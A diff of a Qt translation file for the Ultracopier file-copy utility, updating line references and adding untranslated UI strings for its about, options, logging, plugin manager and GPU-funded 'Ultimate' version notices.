<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="70"/>
+ <location filename="../../../FacilityEngine.cpp" line="78"/>
<source>Save transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="71"/>
+ <location filename="../../../FacilityEngine.cpp" line="79"/>
<source>Open transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="72"/>
+ <location filename="../../../FacilityEngine.cpp" line="80"/>
<source>Transfer list</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="73"/>
+ <location filename="../../../FacilityEngine.cpp" line="81"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../FacilityEngine.cpp" line="74"/>
+ <location filename="../../../FacilityEngine.cpp" line="82"/>
<source>Not supported on this platform</source>
<translation type="unfinished"></translation>
</message>
+ <message>
+ <location filename="../../../FacilityEngine.cpp" line="83"/>
+ <source>Completed in %1</source>
+ <translation type="unfinished"></translation>
+ </message>
</context>
<context>
<name>HelpDialog</name>
<message>
- <location filename="../../../HelpDialog.ui" line="20"/>
- <source>About ultracopier</source>
+ <location filename="../../../HelpDialog.cpp" line="37"/>
+ <source>About Ultracopier</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="70"/>
- <source>Based on Qt. It provide advanced copier with more advanced feature. It&apos;s under GPL3.
+ <location filename="../../../HelpDialog.ui" line="67"/>
+ <source>Based on Qt. Advanced utility to copy files under GPL3 license.
This version is compiled as version: %1.</source>
<extracomment>%1 will be replaced by a variable content (normal, debug, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="88"/>
+ <location filename="../../../HelpDialog.ui" line="85"/>
<source>Platform: %1</source>
<extracomment>%1 will be replaced by the platform (windows, mac, linux, ...)</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="149"/>
+ <location filename="../../../HelpDialog.ui" line="121"/>
<source>About Qt</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="169"/>
+ <location filename="../../../HelpDialog.ui" line="141"/>
<source>Do a crash</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="176"/>
+ <location filename="../../../HelpDialog.ui" line="148"/>
<source>Save bug report</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="183"/>
+ <location filename="../../../HelpDialog.ui" line="155"/>
<source>Close</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="74"/>
+ <location filename="../../../HelpDialog.cpp" line="35"/>
+ <source>About Supercopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="80"/>
<source>For http://portableapps.com/</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="76"/>
+ <location filename="../../../HelpDialog.cpp" line="83"/>
+ <source>Portable and all in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="85"/>
<source>Portable version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="79"/>
+ <location filename="../../../HelpDialog.cpp" line="90"/>
+ <source>All in one version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="92"/>
<source>Normal version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.cpp" line="85"/>
+ <location filename="../../../HelpDialog.cpp" line="110"/>
+ <location filename="../../../HelpDialog.cpp" line="112"/>
+ <location filename="../../../HelpDialog.cpp" line="123"/>
<source>http://ultracopier.first-world.info/</source>
- <extracomment>This site need be the official site of ultracopier, into the right languages, english if not exists</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../HelpDialog.ui" line="78"/>
+ <location filename="../../../HelpDialog.cpp" line="120"/>
+ <source>http://ultracopier.first-world.info/shop.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.cpp" line="125"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../HelpDialog.ui" line="75"/>
<source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;For more information see the website &lt;a href=&quot;%1&quot;&gt;&lt;span style=&quot; text-decoration: underline; color:#0057ae;&quot;&gt;%1&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
<extracomment>%1 will be remplaced by the website into the corresponding languages</extracomment>
<translation type="unfinished"></translation>
@@ -480,12 +569,12 @@ This version is compiled as version: %1.</source>
<context>
<name>LocalListener</name>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LocalListener.cpp" line="128"/>
+ <location filename="../../../LocalListener.cpp" line="146"/>
<source>Timeout while recomposing data from connected clients</source>
<translation type="unfinished"></translation>
</message>
@@ -493,21 +582,74 @@ This version is compiled as version: %1.</source>
<context>
<name>LogThread</name>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="65"/>
+ <location filename="../../../LogThread.cpp" line="106"/>
<source>Log file already open, error: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../LogThread.cpp" line="74"/>
- <location filename="../../../LogThread.cpp" line="84"/>
- <source>Unable to open file to keep the log file, error: %1</source>
+ <location filename="../../../LogThread.cpp" line="115"/>
+ <location filename="../../../LogThread.cpp" line="125"/>
+ <source>Unable to open the log file, error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>OSSpecific</name>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="26"/>
+ <source>Warning</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="58"/>
+ <source>Don&apos;t show again</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.ui" line="83"/>
+ <source>Ok</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="23"/>
+ <source>The replacement of default copy/move system is not supported by the file manager (Dolphin, Nautilus, ...).&lt;br /&gt;Ask the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="25"/>
+ <source>Reboot the system if previously had similar software installed (like Teracopy, Supercopier or an earlier version of Ultracopier).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="27"/>
+ <source>The replacement of default copy/move system is not supported and blocked by finder of Mac OS X.&lt;br /&gt;You need do the copy/move manually by right clicking on the system tray icon near the clock (not the dock icon).</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="29"/>
+ <source>The replacement of default copy/move system should be not supported by the file manager.&lt;br /&gt;Ask to the developer to support it.&lt;br /&gt;You need do the copy/move manually.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="32"/>
+ <source>Consider Supercopier as deprecated, prefer Ultracopier</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="35"/>
+ <source>This version use 100% of you graphic card/GPU (you computer can be noisy, or slow/buggy during the games) at exchange of free access to Ultimate version. If you don&apos;t wish it, download the normal version with a small advertisement (just a link on the main window) or buy the Ultimate version to fund the project.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OSSpecific.cpp" line="36"/>
+ <source>http://ultracopier.first-world.info/download.html</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -531,257 +673,318 @@ This version is compiled as version: %1.</source>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="66"/>
- <location filename="../../../OptionDialog.ui" line="275"/>
- <location filename="../../../OptionDialog.cpp" line="186"/>
+ <location filename="../../../OptionDialog.ui" line="322"/>
+ <location filename="../../../OptionDialog.cpp" line="354"/>
<source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="95"/>
- <location filename="../../../OptionDialog.ui" line="303"/>
+ <location filename="../../../OptionDialog.ui" line="92"/>
+ <location filename="../../../OptionDialog.ui" line="350"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="100"/>
+ <location filename="../../../OptionDialog.ui" line="97"/>
<source>Log</source>
<translation type="unfinished"></translation>
</message>
<message>
+ <location filename="../../../OptionDialog.ui" line="222"/>
+ <source>Confirm to group the windows</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="245"/>
+ <source>Check for updates</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="312"/>
+ <source>Name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="317"/>
+ <source>Version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="327"/>
+ <source>Language</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="71"/>
+ <location filename="../../../OptionDialog.ui" line="335"/>
+ <location filename="../../../OptionDialog.cpp" line="355"/>
+ <source>Listener</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="76"/>
+ <location filename="../../../OptionDialog.ui" line="340"/>
+ <location filename="../../../OptionDialog.cpp" line="356"/>
+ <source>Plugin loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="84"/>
+ <location filename="../../../OptionDialog.ui" line="345"/>
+ <location filename="../../../OptionDialog.cpp" line="357"/>
+ <source>Session loader</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
<location filename="../../../OptionDialog.ui" line="117"/>
- <source>Language:</source>
+ <source>Force the language</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="127"/>
- <source>Autodetect the system language:</source>
+ <source>Replace the default copy and move system</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="141"/>
- <source>Catch the copy/move as default:</source>
+ <source>Load at the session loading</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="../../../OptionDialog.ui" line="155"/>
- <source>Load at the session loading:</source>
+ <source>When manual open</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="265"/>
- <source>Name</source>
+ <location filename="../../../OptionDialog.ui" line="181"/>
+ <source>Group the windows when</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="270"/>
- <source>Version</source>
+ <location filename="../../../OptionDialog.ui" line="229"/>
+ <source>Display the OS warning</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="280"/>
- <source>Language</source>
+ <location filename="../../../OptionDialog.ui" line="255"/>
+ <source>Give GPU time to fund the development</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="71"/>
- <location filename="../../../OptionDialog.ui" line="288"/>
- <location filename="../../../OptionDialog.cpp" line="187"/>
- <source>Listener</source>
+ <location filename="../../../OptionDialog.ui" line="262"/>
+ <source>Remaining time algorithm</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="79"/>
- <location filename="../../../OptionDialog.ui" line="293"/>
- <location filename="../../../OptionDialog.cpp" line="188"/>
- <source>Plugin loader</source>
+ <location filename="../../../OptionDialog.ui" line="270"/>
+ <source>Traditional</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="87"/>
- <location filename="../../../OptionDialog.ui" line="298"/>
- <location filename="../../../OptionDialog.cpp" line="189"/>
- <source>Session loader</source>
+ <location filename="../../../OptionDialog.ui" line="275"/>
+ <source>Logarithmic</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="311"/>
+ <location filename="../../../OptionDialog.ui" line="358"/>
<source>Plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="330"/>
+ <location filename="../../../OptionDialog.ui" line="377"/>
<source>Add</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="343"/>
+ <location filename="../../../OptionDialog.ui" line="390"/>
<source>Remove</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="353"/>
+ <location filename="../../../OptionDialog.ui" line="400"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="380"/>
+ <location filename="../../../OptionDialog.ui" line="427"/>
<source>Copy engine by order of preference:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="493"/>
+ <location filename="../../../OptionDialog.ui" line="498"/>
+ <source>Client connected</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="554"/>
<source>Themes:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="555"/>
+ <location filename="../../../OptionDialog.ui" line="616"/>
<source>Unable to load the themes plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="655"/>
+ <location filename="../../../OptionDialog.ui" line="716"/>
<source>Browse</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="687"/>
- <location filename="../../../OptionDialog.ui" line="700"/>
+ <location filename="../../../OptionDialog.ui" line="741"/>
+ <source>Write the transfers</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="748"/>
<source>The variables are %time%, %source%, %size%, %destination%</source>
- <extracomment>%time%, %source%, %size%, %destination% should not be translated
-----------
-%time%, %source%, %size%, %destination% should not be translated</extracomment>
+ <extracomment>%time%, %source%, %size%, %destination% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="717"/>
- <location filename="../../../OptionDialog.ui" line="730"/>
+ <location filename="../../../OptionDialog.ui" line="771"/>
+ <source>Write the errors</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="778"/>
<source>The variables are %time%, %path%, %size%, %mtime%, %error%</source>
- <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated
-----------
-%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
+ <extracomment>%time%, %path%, %size%, %mtime%, %error% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="636"/>
+ <location filename="../../../OptionDialog.ui" line="697"/>
<source>Write the log file into:</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="680"/>
- <source>Write the transfers:</source>
+ <location filename="../../../OptionDialog.ui" line="728"/>
+ <source>Write directly to the file when it receive a new entry (can produce 50% of lost of performance)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="710"/>
- <source>Write the errors:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="740"/>
- <source>Write the folder operations:</source>
+ <location filename="../../../OptionDialog.cpp" line="260"/>
+ <source>Load the theme?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="190"/>
- <location filename="../../../OptionDialog.cpp" line="191"/>
- <location filename="../../../OptionDialog.cpp" line="321"/>
- <location filename="../../../OptionDialog.cpp" line="322"/>
- <source>Disabled because you have any SessionLoader plugin</source>
+ <location filename="../../../OptionDialog.cpp" line="274"/>
+ <source>Load the language?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="192"/>
+ <location filename="../../../OptionDialog.cpp" line="362"/>
<source>Do nothing</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="193"/>
+ <location filename="../../../OptionDialog.cpp" line="363"/>
<source>Ask source as folder</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="194"/>
+ <location filename="../../../OptionDialog.cpp" line="364"/>
<source>Ask sources as files</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="195"/>
+ <location filename="../../../OptionDialog.cpp" line="365"/>
<source>Never</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="196"/>
+ <location filename="../../../OptionDialog.cpp" line="366"/>
<source>When source is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="197"/>
+ <location filename="../../../OptionDialog.cpp" line="367"/>
<source>When destination is same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="198"/>
+ <location filename="../../../OptionDialog.cpp" line="368"/>
<source>When source and destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="199"/>
+ <location filename="../../../OptionDialog.cpp" line="369"/>
<source>When source or destination are same</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="200"/>
+ <location filename="../../../OptionDialog.cpp" line="370"/>
<source>Always</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.cpp" line="792"/>
- <source>Save logs as: </source>
+ <location filename="../../../OptionDialog.cpp" line="384"/>
+ <location filename="../../../OptionDialog.cpp" line="385"/>
+ <location filename="../../../OptionDialog.cpp" line="386"/>
+ <source>The variables are %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="667"/>
- <source>This write directly the file when it receive the new entry, but it can produce 50% of lost of performance</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>Allow the application</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="670"/>
- <source>Synchronized log</source>
+ <location filename="../../../OptionDialog.cpp" line="478"/>
+ <source>This Ultimate free version is only if %1 is allowed by your antivirus. Else you can get the normal free version</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="169"/>
- <source>When manual open:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>Enable the OpenCL</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="229"/>
- <source>Group the windows when:</source>
+ <location filename="../../../OptionDialog.cpp" line="483"/>
+ <source>This Ultimate version is only if the OpenCL is installed with your graphic card drivers. Else you can get the normal free version</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.cpp" line="1591"/>
+ <source>Save logs as: </source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="731"/>
+ <source>Synchronized log</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="605"/>
+ <location filename="../../../OptionDialog.ui" line="666"/>
<source>No option for this plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../OptionDialog.ui" line="750"/>
- <location filename="../../../OptionDialog.ui" line="763"/>
+ <location filename="../../../OptionDialog.ui" line="801"/>
+ <source>Write the folder operations</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../OptionDialog.ui" line="811"/>
<source>The variables are %path%, %operation%</source>
- <extracomment>%path%, %operation% should not be translated
-----------
-%path%, %operation% should not be translated</extracomment>
+ <extracomment>%path%, %operation% should not be translated</extracomment>
<translation type="unfinished"></translation>
</message>
</context>
<context>
<name>OptionEngine</name>
<message>
- <location filename="../../../OptionEngine.cpp" line="154"/>
- <location filename="../../../OptionEngine.cpp" line="158"/>
- <location filename="../../../OptionEngine.cpp" line="195"/>
- <location filename="../../../OptionEngine.cpp" line="199"/>
- <source>Try get variable, but the variable is not found: %1 %2</source>
+ <location filename="../../../OptionEngine.cpp" line="161"/>
+ <location filename="../../../OptionEngine.cpp" line="165"/>
+ <location filename="../../../OptionEngine.cpp" line="202"/>
+ <location filename="../../../OptionEngine.cpp" line="206"/>
+ <source>The variable was not found: %1 %2</source>
<translation type="unfinished"></translation>
</message>
</context>
@@ -823,37 +1026,42 @@ This version is compiled as version: %1.</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="40"/>
- <source>CopyEngine</source>
+ <location filename="../../../PluginInformation.cpp" line="38"/>
+ <source>Copy engine</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="43"/>
+ <location filename="../../../PluginInformation.cpp" line="41"/>
<source>Languages</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="46"/>
+ <location filename="../../../PluginInformation.cpp" line="44"/>
<source>Listener</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="49"/>
- <source>PluginLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="47"/>
+ <source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="52"/>
- <source>SessionLoader</source>
+ <location filename="../../../PluginInformation.cpp" line="50"/>
+ <source>Session loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="55"/>
+ <location filename="../../../PluginInformation.cpp" line="53"/>
<source>Themes</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginInformation.cpp" line="69"/>
+ <location filename="../../../PluginInformation.cpp" line="57"/>
+ <source>Unknown</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginInformation.cpp" line="67"/>
<source>Information about %1</source>
<translation type="unfinished"></translation>
</message>
@@ -871,140 +1079,140 @@ This version is compiled as version: %1.</source>
<context>
<name>PluginsManager</name>
<message>
- <location filename="../../../PluginsManager.cpp" line="208"/>
+ <location filename="../../../PluginsManager.cpp" line="221"/>
<source>informations.xml is not accessible</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="214"/>
- <source>informations.xml not found into the plugin</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <location filename="../../../PluginsManager.cpp" line="474"/>
+ <location filename="../../../PluginsManager.cpp" line="487"/>
<source>Dependencies part is wrong</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="493"/>
+ <location filename="../../../PluginsManager.cpp" line="508"/>
<source>Dependencies %1 are not satisfied, for plugin: %2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Remove %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Information</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="242"/>
+ <location filename="../../../PluginsManager.cpp" line="253"/>
<source>%1, parse error at line %2, column %3: %4</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="250"/>
+ <location filename="../../../PluginsManager.cpp" line="227"/>
+ <source>informations.xml not found for the plugin</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../../PluginsManager.cpp" line="261"/>
<source>&quot;package&quot; root tag not found for the xml file</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="326"/>
+ <location filename="../../../PluginsManager.cpp" line="337"/>
<source>Duplicated plugin found, already loaded!</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="384"/>
- <source>English text missing into the informations.xml for the tag: %1</source>
+ <location filename="../../../PluginsManager.cpp" line="395"/>
+ <source>English text missing in the informations.xml for the tag: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="392"/>
+ <location filename="../../../PluginsManager.cpp" line="403"/>
<source>Tag not found: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="634"/>
+ <location filename="../../../PluginsManager.cpp" line="665"/>
<source>Are you sure about removing &quot;%1&quot; in version %2?</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="645"/>
+ <location filename="../../../PluginsManager.cpp" line="676"/>
<source>Error while the removing plugin, please check the rights on the folder:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="669"/>
+ <location filename="../../../PluginsManager.cpp" line="700"/>
<source>Previous import is in progress...</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Open Ultracopier plugin</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="672"/>
+ <location filename="../../../PluginsManager.cpp" line="703"/>
<source>Ultracopier plugin (*.urc)</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="775"/>
- <location filename="../../../PluginsManager.cpp" line="788"/>
- <location filename="../../../PluginsManager.cpp" line="806"/>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Plugin loader</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="685"/>
+ <location filename="../../../PluginsManager.cpp" line="720"/>
<source>Unable to open the plugin: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="708"/>
- <location filename="../../../PluginsManager.cpp" line="824"/>
- <location filename="../../../PluginsManager.cpp" line="837"/>
+ <location filename="../../../PluginsManager.cpp" line="745"/>
+ <location filename="../../../PluginsManager.cpp" line="863"/>
+ <location filename="../../../PluginsManager.cpp" line="876"/>
<source>Unable to load the plugin content, please check it: %1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="775"/>
+ <location filename="../../../PluginsManager.cpp" line="813"/>
<source>Unable to create a folder to install the plugin:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="788"/>
+ <location filename="../../../PluginsManager.cpp" line="826"/>
<source>Unable to create a file to install the plugin:
%1
since:%2</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="806"/>
+ <location filename="../../../PluginsManager.cpp" line="845"/>
<source>Folder with same name is present, skip the plugin installation:
%1</source>
<translation type="unfinished"></translation>
</message>
<message>
- <location filename="../../../PluginsManager.cpp" line="812"/>
- <location filename="../../../PluginsManager.cpp" line="818"/>
- <location filename="../../../PluginsManager.cpp" line="830"/>
+ <location filename="../../../PluginsManager.cpp" line="851"/>
+ <location filename="../../../PluginsManager.cpp" line="857"/>
+ <location filename="../../../PluginsManager.cpp" line="869"/>
<source>Unable to load the plugin content, please check it</source>
<translation type="unfinished"></translation>
</message>
@@ -1012,44 +1220,44 @@ since:%2</source>
<context>
<name>QXzDecode</name>
<message>
- <location filename="../../../lib/qt-tar-xz/QXzDecode.cpp" line="40"/>
